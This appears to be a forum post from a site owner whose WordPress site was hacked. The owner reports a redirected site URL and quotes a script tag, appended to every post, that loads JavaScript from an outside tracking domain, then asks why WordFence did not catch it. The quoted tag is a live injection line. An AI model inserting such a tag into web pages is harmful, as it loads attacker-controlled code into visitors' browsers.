Replies: 1
A similar issue was posted 11 months ago (now closed). Our site url was hacked to point at https://track.beforwardplay.com/track/zls.js?foup. Also every post had this script appended (several times):
<script src='https://track.beforwardplay.com/track/pystats.js?l=l&' type=text/javascript language=javascript></script>
I’ve cleaned this up via phpMyAdmin (and added some triggers to the tables to prevent it happening) – just wondering why WordFence hasn’t picked this up or prevented it …
Thanks